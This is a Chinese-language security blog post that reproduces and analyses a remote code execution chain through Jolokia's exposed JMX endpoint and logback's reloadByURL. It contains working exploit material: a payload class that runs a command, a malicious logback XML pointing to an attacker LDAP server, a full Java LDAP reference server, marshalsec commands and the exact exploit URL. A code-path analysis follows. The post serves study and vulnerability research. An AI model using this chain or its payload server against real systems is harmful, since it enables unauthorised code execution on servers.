Java代码审计之jolokia logback JNDI LDAP RCE
注:本文为复现文和学习文,原创极少,参考了大量参考链接里的内容~感兴趣者自行阅读原作
0x01. 原理
- 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator类的reloadByURL方法
- 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
- 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
- xml 文件中利用 logback依赖的insertFormJNDI标签,设置了外部 JNDI 服务器地址
- 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞
0x02. 利用条件:
- 目标网站存在 /jolokia或/actuator/jolokia接口
- 目标使用了 jolokia-core依赖(版本要求暂未知)并且环境中存在相关 MBean
- 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
- 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过
0x03. 复现过程
1. 访问/jolokia/list 接口
查看是否存在 ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL 关键词。


编译Payload代码
JNDIObject.java
javac JNDIObject.java
import java.io.IOException;
public class JNDIObject{
    static {
        Runtime r = Runtime.getRuntime();
        Process p = null;
        try {
//            p = r.exec(new String[]{"cmd.exe", "/c", "calc.exe"});
            p = r.exec("calc.exe");
            p.waitFor();
        } catch (IOException | InterruptedException e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        JNDIObject e = new JNDIObject();
    }
}example.xml
<configuration>
  <insertFromJNDI env-entry-name="ldap://192.168.144.27:1389/JNDIObject" as="appName" />
</configuration>将JNDIObject.class和example.xml放在Web服务下
python -m SimpleHTTPServer 8888
4. 架设恶意 ldap 服务
http://192.168.144.27:8888 为上一步的Web地址
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marsh
alsec.jndi.LDAPRefServer http://192.168.144.27:8888/#JNDIObject 1389

5. 利用
请求URL
http://127.0.0.1:9094/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.144.27:8888!/example.xml
先是接收到了example.xml请求

再去请求了LDAP服务

最后去请求了JNDIObject.class
成功的弹出计算器

0x04 JNDI+LDAP注入
JNDI知识见上篇文章
启动一个ldap服务,该代码由某大佬改自marshalsec
Server.class
// 1.8
// https://www.cnblogs.com/nice0e3/p/13958047.html
// JNDI+LDAP
package com.DemoJNDI.DEMOJNDILDAP;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class Server {
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8080/#Calc"};
        int port = 7777;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}Client.java
// 1.8
package com.DemoJNDI.DEMOJNDILDAP;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
    public static void main(String[] args) throws NamingException {
        Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/Calc");
    }
}Calc.java
javac Calc.java 放在Web服务下
public class Calc{
    public Calc() throws Exception{
        Runtime.getRuntime().exec("open -a Calculator");
    }
}启动ldap服务监听,当运行了Client后,接收到了请求,并发送请求到http://127.0.0.1:8080/Calc.class

Web接收到了请求

弹出了计算器

0x05 jolokia logback JNDI LDAP RCE触发点
1. 核心过程:
- 通过路由来指定具体执行什么样的功能 
- 构造请求的路由: - jolokia/exec/class_name/function_name/params以/分割路由指定调用的类、方法、参数,并且通过!/保留参数里的/避免被分割,使参数- http:!/!/192.168.144.27:8888!/example.xml传递进去后转换为``http://192.168.144.27:8888/example.xml`
- 寻找触发点 - ch.qos.logback.classic.jmx.JMXConfigurator#reloadByURL,可以从远程加载一个新的配置文件。
- 链路里有调用 - SAXParserFactory factory = SAXParserFactory.newInstance();解析xml文件,具体学习SAXParser模块
- 因为调用的是JMXConfigurator类,所以xml文件得符合JMX的配置文件,即格式是logback.xml。其中logback.xml的 - env-entry-name可以设置为JNDI的地址,那么我们的恶意xml文件就可以将- env-entry-name设置为为自己的JNDI地址,这样就能JDNI注入了。 
2. 通过路由来指定具体执行什么样的功能
jolokia\jolokia-core\1.6.0\jolokia-core-1.6.0.jar!\org\jolokia\http\HttpRequestHandler.class
public JSONAware handleGetRequest(String pUri, String pPathInfo, Map<String, String[]> pParameterMap) {
        String pathInfo = this.extractPathInfo(pUri, pPathInfo);
        JmxRequest jmxReq = JmxRequestFactory.createGetRequest(pathInfo, this.getProcessingParameter(pParameterMap));
        if (this.backendManager.isDebug()) {
            this.logHandler.debug("URI: " + pUri);
            this.logHandler.debug("Path-Info: " + pathInfo);
            this.logHandler.debug("Request: " + jmxReq.toString());
        }
        return this.executeRequest(jmxReq);
    }断点后,通过访问/jolokia触发debug,可以看到红框中通过JmxRequestFactory工厂函数来创建了一个JmxRequest类,之后return executeRequest执行这个类。在创建这个类的时候会根据get请求的路由来创建对应的JmxRequest类。

进入到定义里

看到很多类继承了JmxRequest

在继承类中发现存在JmxWriteRequest和JmxExecRequest这两个从名字来说让我们很兴奋的子类,因为知道/jolokia/list所执行的是JmxListRequest这个子类的功能,类比一下,/jolakia/exec就可以执行JmxExecRequest这个子类的功能。
3. 构造请求的路由
\org\jolokia\jolokia-core\1.6.0\jolokia-core-1.6.0.jar!\org\jolokia\request\JmxExecRequest.class
JmxExecRequest(String pObjectName, String pOperation, List pArguments, ProcessingParameters pParams) throws MalformedObjectNameException {
        super(RequestType.EXEC, pObjectName, (List)null, pParams);
        this.operation = pOperation;
        this.arguments = pArguments;
    }
pObjectName:要执行操作的MBean的名称,不能为空
pOperation:要执行操作的名称(方法的名称),不能为空
pArguments:用于执行请求的参数,可以为空
pParams:用于处理请求的可选参数
JmxRequestFactory这个工厂类,在extractElementsFromPath方法中完成了以/分割路由请求,并对路由进行处理的
jolokia\jolokia-core\1.6.0\jolokia-core-1.6.0.jar!\org\jolokia\request\JmxRequestFactory.class
链路从下往上
split:158, EscapeUtil (org.jolokia.util)
parsePath:93, EscapeUtil (org.jolokia.util)
extractElementsFromPath:103, EscapeUtil (org.jolokia.util)
createGetRequest:91, JmxRequestFactory (org.jolokia.request)


效果是将!/这样的情况时,可以保留/

可以看到保留了/,ret的第四个参数是正确的url地址

ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator是类
reloadByURL是方法
http:!/!/192.168.144.27:8888!/example.xml是参数
从/jolokia/list返回的json数据包里可以找到该链

所以构造如下路由:
http://127.0.0.1:9094/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.144.27:8888!/example.xml
4. 加载远程XML文件
在JMXConfigurator这个类中发现存在一个reloadByURL方法,那是不是可以从远程加载一个新的配置文件从而造成RCE。
链路
buildSaxParser:79, SaxEventRecorder (ch.qos.logback.core.joran.event)
recordEvents:57, SaxEventRecorder (ch.qos.logback.core.joran.event)
doConfigure:151, GenericConfigurator (ch.qos.logback.core.joran)
doConfigure:110, GenericConfigurator (ch.qos.logback.core.joran)
doConfigure:53, GenericConfigurator (ch.qos.logback.core.joran)
reloadByURL:145, JMXConfigurator (ch.qos.logback.classic.jmx)qos\logback\logback-classic\1.1.11\logback-classic-1.1.11.jar!\ch\qos\logback\classic\jmx\JMXConfigurator.class



调用了SAXParser解析XML

调用 recordEvents 的时候带入了输入流,这个输入流是我们可控的

远程的xml文件内容
<configuration>
  <insertFromJNDI env-entry-name="ldap://192.168.144.27:1389/JNDIObject" as="appName" />
</configuration>那么就通过JNDI+LDAP成功的注入啦。
同样也可以配合RMI注入。
0x06. 总结
0x07. 参考链接
分析文章
https://paper.seebug.org/850/
https://xz.aliyun.com/t/4258 
                 
                        
                        